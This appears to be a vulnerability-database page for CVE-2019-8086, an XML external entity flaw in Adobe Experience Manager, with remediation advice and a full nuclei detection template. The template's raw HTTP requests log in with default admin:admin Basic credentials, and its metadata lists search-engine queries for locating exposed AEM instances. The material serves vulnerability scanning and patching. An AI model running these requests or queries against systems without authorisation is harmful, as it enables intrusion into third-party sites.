HexBrain

Browse / CVEs / CVE-2019-8086

CVE-2019-8086· adobe / experience manager· CWE-611

Adobe Experience Manager - XML External Entity Injection

highseverity
7.5CVSS score
22.5%likelihood of exploitation, next 30 days
98%of all CVEs are less likely
Readycheck to confirm it

Adobe Experience Manager 6.5, 6.4, 6.3 and 6.2 are susceptible to XML external entity injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server-side request forgery, and potential remote code execution.

Fix

Apply the necessary security patches provided by Adobe to mitigate the vulnerability. Additionally, ensure that the server is properly configured to restrict access to sensitive files and prevent XXE attacks.

How to confirm it

Send: POST /content/{{randstr}} ; POST /content/{{randstr}}.af.internalsubmit.json
Positive when: contains "<afData>ABC<afBoundData/>" AND contains in header "application/json" AND status 200

Run it with nuclei: nuclei -id CVE-2019-8086 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-8086

info:
  name: Adobe Experience Manager - XML External Entity Injection
  author: DhiyaneshDk
  severity: high
  description: Adobe Experience Manager 6.5, 6.4, 6.3 and 6.2 are susceptible to XML external entity injection. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information, server-side request forgery, and potential remote code execution.
  remediation: |
    Apply the necessary security patches provided by Adobe to mitigate the vulnerability. Additionally, ensure that the server is properly configured to restrict access to sensitive files and prevent XXE attacks.
  reference:
    - https://speakerdeck.com/0ang3el/a-hackers-perspective-on-aem-applications-security?slide=13
    - https://github.com/0ang3el/aem-hacker/blob/master/aem_hacker.py
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=2019-8086
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8086
    - https://helpx.adobe.com/security/products/experience-manager/apsb19-48.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2019-8086
    cwe-id: CWE-611
    epss-score: 0.22541
    epss-percentile: 0.97726
    cpe: cpe:2.3:a:adobe:experience_manager:6.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: adobe
    product: experience_manager
    shodan-query:
      - http.title:"AEM Sign In"
      - http.component:"Adobe Experience Manager"
      - http.component:"adobe experience manager"
      - http.title:"aem sign in"
      - cpe:"cpe:2.3:a:adobe:experience_manager"
    fofa-query: title="aem sign in"
    google-query: intitle:"aem sign in"
  tags: cve,cve2019,aem,adobe,vuln

http:
  - raw:
      - |
        POST /content/{{randstr}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46YWRtaW4=
        Referer: {{BaseURL}}

        sling:resourceType=fd/af/components/guideContainer
      - |
        POST /content/{{randstr}}.af.internalsubmit.json HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Authorization: Basic YWRtaW46YWRtaW4=
        Referer: {{BaseURL}}

        guideState={"guideState"%3a{"guideDom"%3a{},"guideContext"%3a{"xsdRef"%3a"","guidePrefillXml"%3a"<afData>\u0041\u0042\u0043</afData>"}}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<afData>ABC<afBoundData/>'

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from